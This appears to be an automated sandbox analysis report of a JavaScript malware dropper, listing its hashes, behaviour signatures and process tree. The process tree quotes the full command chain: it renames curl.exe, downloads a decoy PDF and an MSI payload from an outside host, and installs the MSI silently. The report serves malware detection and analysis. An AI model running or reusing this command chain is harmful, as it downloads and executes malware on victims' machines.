Analysis

  • max time kernel
    134s
  • max time network
    126s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/06/2024, 02:00

General

  • Target

    N-WITHERSPOON-86707.js

  • Size

    1KB

  • MD5

    97df66f95eced4fb840fd9d706d2763d

  • SHA1

    608f9e2389f4eaab66f584bd51f93ff3c3ed8a04

  • SHA256

    138265fa05533c8d6c8b9bb8686e00926bf5fa6f4b0d5b9a5ade065c5180a9db

  • SHA512

    2fbf85c74d3945330138d46518e34725800775644147f105deb4cbf0fdb06a4568f69fa1995d5967d95f2587b13a4b91e23524aab253a2adb58487296d156e57

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\N-WITHERSPOON-86707.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4236
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cd /d "C:\Users\Admin\AppData\Local\Temp\" & copy c:\windows\system32\curl.exe TNheBOJElq.exe & TNheBOJElq.exe -o "C:\Users\Admin\Documents\QMQjaBdqIo.pdf" https://in.corpmail.one/download/pdf & "C:\Users\Admin\Documents\QMQjaBdqIo.pdf" & TNheBOJElq.exe -o bLhLldebqq.msi https://in.corpmail.one/download/agent & C:\Windows\System32\msiexec.exe /i bLhLldebqq.msi /qn
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2512
      • C:\Users\Admin\AppData\Local\Temp\TNheBOJElq.exe
        TNheBOJElq.exe -o "C:\Users\Admin\Documents\QMQjaBdqIo.pdf" https://in.corpmail.one/download/pdf
        3⤵
        • Executes dropped EXE
        PID:4480
      • C:\Users\Admin\AppData\Local\Temp\TNheBOJElq.exe
        TNheBOJElq.exe -o bLhLldebqq.msi https://in.corpmail.one/download/agent
        3⤵
        • Executes dropped EXE
        PID:4656
      • C:\Windows\System32\msiexec.exe
        C:\Windows\System32\msiexec.exe /i bLhLldebqq.msi /qn
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2316
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:3896
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4196,i,10373433614523925616,13586256558317053467,262144 --variations-seed-version --mojo-platform-channel-handle=4264 /prefetch:8
    1⤵
      PID:1780

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\TNheBOJElq.exe

      Filesize

      411KB

      MD5

      1c3645ebddbe2da6a32a5f9fb43a3c23

      SHA1

      086f74a35d5afed78ae50cf5586fafffb7845464

      SHA256

      0ba1c44d0ee5b34b45b449074cda51624150dc16b3b3c38251df6c052adba205

      SHA512

      ccc9534a454971db0014ba0996d837a36cda0b91db32a93d73f17097825b1ab7c973601586d06c953bc79d2863c52c7db0fb4d04e37f83581a27e1cf7284224b